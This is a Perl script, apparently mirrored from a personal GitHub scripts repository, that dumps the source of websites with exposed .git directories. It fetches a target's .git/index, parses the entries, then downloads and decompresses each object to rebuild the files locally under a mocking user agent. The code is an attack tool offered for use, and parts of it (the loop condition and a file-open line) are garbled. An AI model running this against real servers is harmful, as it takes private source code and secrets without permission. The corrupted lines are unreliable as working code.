mirror of
https://github.com/captn3m0/Scripts.git
synced 2024-09-27 22:22:53 +00:00
133 lines
3.3 KiB
Perl
Executable File
133 lines
3.3 KiB
Perl
Executable File
#!/usr/bin/perl
|
|
|
|
use strict;
|
|
use File::Path qw(make_path);
|
|
use LWP::UserAgent;
|
|
use File::Temp qw(tempfile tempdir);
|
|
use Compress::Zlib qw(uncompress);
|
|
|
|
sub readtime
|
|
{
|
|
my ($handle, $hashref) = @_;
|
|
|
|
read $handle, my $rawtime, 8;
|
|
|
|
( $hashref->{'lsb32'},
|
|
$hashref->{'nsec'} ) = unpack "NN", $rawtime;
|
|
|
|
return $hashref;
|
|
}
|
|
|
|
sub readindex
|
|
{
|
|
my ($infile) = @_;
|
|
my $packindex;
|
|
|
|
# read the header
|
|
read $infile, my $rawheader, 12;
|
|
my $header = {};
|
|
($header->{'ident'}, $header->{'version'}, $header->{'entries'})
|
|
= unpack("a4NN", $rawheader);
|
|
|
|
die "Not a git index file" if ($header->{'ident'} ne "DIRC");
|
|
die "Unsupported version of git index" if ($header->{'version'} != 2);
|
|
|
|
my @index_entries = ();
|
|
|
|
for (my $i=0; $i{'entries'}; $i++)
|
|
{
|
|
my $statinfo = {};
|
|
my $entry = {};
|
|
my $rawdata;
|
|
my %ctime = ();
|
|
my %mtime = ();
|
|
|
|
$statinfo->{'ctime'}=readtime($infile, \%ctime);
|
|
$statinfo->{'mtime'}=readtime($infile, \%ctime);
|
|
|
|
# read the non-time fields
|
|
read $infile, $rawdata, 24;
|
|
( $statinfo->{'dev'}.
|
|
$statinfo->{'inode'}.
|
|
$statinfo->{'mode'}.
|
|
$statinfo->{'uid'}.
|
|
$statinfo->{'gid'}.
|
|
$statinfo->{'size'} ) = unpack "NNNNNN", $rawdata;
|
|
|
|
$entry->{'statinfo'}=$statinfo;
|
|
read $infile, $rawdata, 20;
|
|
( $entry->{'id'} ) = unpack "H*", $rawdata;
|
|
$packindex.=$rawdata;
|
|
read $infile, $rawdata, 2;
|
|
( $entry->{'flags'} ) = unpack "n", $rawdata;
|
|
|
|
# Finally read name - it's length is the lower 11 bits of flags
|
|
my $namelength=($entry->{'flags'} & 0x7ff)+1;
|
|
|
|
# Pad it up to a multiple of 4
|
|
read $infile, $rawdata, $namelength + (8 - (($namelength + 62) % 8)) %8;
|
|
($entry->{'name'}) = unpack "a" . ($namelength-1), $rawdata;
|
|
|
|
push(@index_entries, $entry);
|
|
}
|
|
return @index_entries;
|
|
}
|
|
|
|
# First grab the database file
|
|
my $target=$ARGV[0];
|
|
my $giturl="http://$ARGV[0]/.git/index";
|
|
my $ua=LWP::UserAgent->new;
|
|
print "Target is: $giturl\n";
|
|
$ua->agent("All Your Files Are Belong To Us/1.0");
|
|
my $request=HTTP::Request->new(GET => $giturl);
|
|
my $result=$ua->request($request);
|
|
|
|
if ($result->status_line !~ /^200/)
|
|
{
|
|
die "Could not find Git index file";
|
|
}
|
|
|
|
my ($dbfileh, $dbfilen) = tempfile();
|
|
print $dbfileh $result->content;
|
|
close $dbfileh;
|
|
|
|
open(my $infile, "{'id'},0,2);
|
|
my $resthash=substr($entry->{'id'},2);
|
|
|
|
my $file=".git/objects/" . $firsttwo . "/" . $resthash;
|
|
my $rawdata;
|
|
my $decompressed;
|
|
my $oh;
|
|
|
|
print "Extracting " . $entry->{'name'} . "\n";
|
|
|
|
my $giturl="http://$server/$file";
|
|
my $frequest=HTTP::Request->new(GET => $giturl);
|
|
my $fresult=$ua->request($frequest);
|
|
$rawdata=$fresult->content;
|
|
|
|
# Make sure the path is there for the output
|
|
my $outputpath="output/" . $entry->{'name'};
|
|
$outputpath =~ s#/[^/]*$##g;
|
|
|
|
make_path($outputpath);
|
|
open $oh, ">", "output/$entry->{'name'}";
|
|
|
|
# Now decompress the data
|
|
$decompressed=uncompress($rawdata);
|
|
my $gitfile={};
|
|
|
|
($gitfile->{'type'}) = substr($decompressed,0,5);
|
|
if ($gitfile->{'type'} ne "blob ")
|
|
{
|
|
print "Unknown git file type: $gitfile->{'type'}. Skipping\n";
|
|
next;
|
|
}
|
|
($gitfile->{'size'}) = unpack "Z*", substr($decompressed,5);
|
|
($gitfile->{'data'}) = substr($decompressed,length($gitfile->{'size'})+6);
|
|
|
|
# And write it
|
|
print $oh $gitfile->{'data'};
|
|
close($oh);
|
|
}
|